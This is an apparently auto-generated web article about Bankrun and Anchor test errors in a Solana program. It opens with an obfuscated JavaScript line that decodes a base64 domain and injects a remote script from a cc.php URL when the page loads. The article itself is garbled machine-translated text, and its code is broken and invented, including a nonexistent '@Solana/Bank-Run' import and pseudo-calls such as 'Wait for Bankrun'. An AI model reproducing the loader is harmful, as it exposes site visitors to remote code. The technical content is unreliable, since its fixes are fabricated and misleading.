const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=f3efa88d”;document.body.appendChild(script);

I can help you write an article on the problems you are facing with the Solan program to use Bankrun.

Title: Solan Refacting program: Bankrun’s integration causes an error of the “program not distributed” protocol and “bankrun” not influenced by error

Introduction

As a developer who works on a Solane -based project, it is possible to encounter problems in the king -info of the test kit to use a new bank banking function. In this article, we immerse ourselves in problems that derive from an attempt to integrate Bankrun with standard Lang anchoring tests and provide solutions to solve these errors.

Problem: Refacting to bank

When you contact your Solana program to use Bankrun, you can meet several problems:

1

  • Bankrun 'error Nesmeled : This error indicates that Bankrun himself is not correctly distributed, which may be due to various problems such as lack of addictions or an incorrect configuration.

Cause of error

The program is not distributed "and the errors of the" banks "are probably caused by the following factors:

1.

2

  • Insufficient configuration : Bankru configuration may not be set for the program.

solutions

Follow the following steps to solve these problems:

1. Check and update the anchor configuration

Make sure the anchor configuration is updated to allow the bank:

Anchorjs

// anchor config.js

Import {Bankrun} Z ‘@Solana/Bank-Run’;

Bankrun ({

// … Other configuration settings …

});

`

If you are using@Solana/SPL ‘(Solana program library), be sure to set the” Bankrun “bank.

2. Check the addiction

Make sure that Bankrun addictions are included in the program anchor configuration:

`Anchorjs

// Program.js

Import {Bankrun} Z ‘@Solana/Bank-Run’;

Const Program = expected Anchors.run (“Program-Okoty name”, {

Run: Async function (Programid, Args) {

// … logic of the program …

Wait for Bankrun (Programid, Args);

},

});

`

If you are using@Solana/SPL, make sure that the desired addictions are included in the program anchor configuration.

3. Verification of the program configuration

Make sure that the Bankru configuration is set for the program:

Anchorjs

// Program.js

Import {Bankrun} Z ‘@Solana/Bank-Run’;

Const Bankrunconfig = Abveding Anchors.run (“Program-Okoty name”, {

Run: Async function (Programid, Args) {

// … logical program …

Const Bankrunconfig = wait anchors.run (‘Bankrun-Config’, {

// … bank configuration settings …

});

return on Bankrunconfig;

},

});

`

If you use@Solana/SPL`, make sure that the requested configuration settings are included in the program anchor configuration.

Conclusion

Solana: anchor lang bankrun test: CPI calls from my program to external program result in `Program is not deployed` log error

For the use of Bankrun can be a challenge, but according to these passages and resolution of problems, you should be able to solve the program “The program is not distributed” of the error of the diary and “Bankrun” an unattended error . Make sure to carefully check the configuration, addiction and configuration of the program to make sure that everything is set for a successful distribution.

I hope this article help you! Let me know if you have further questions or you need further help.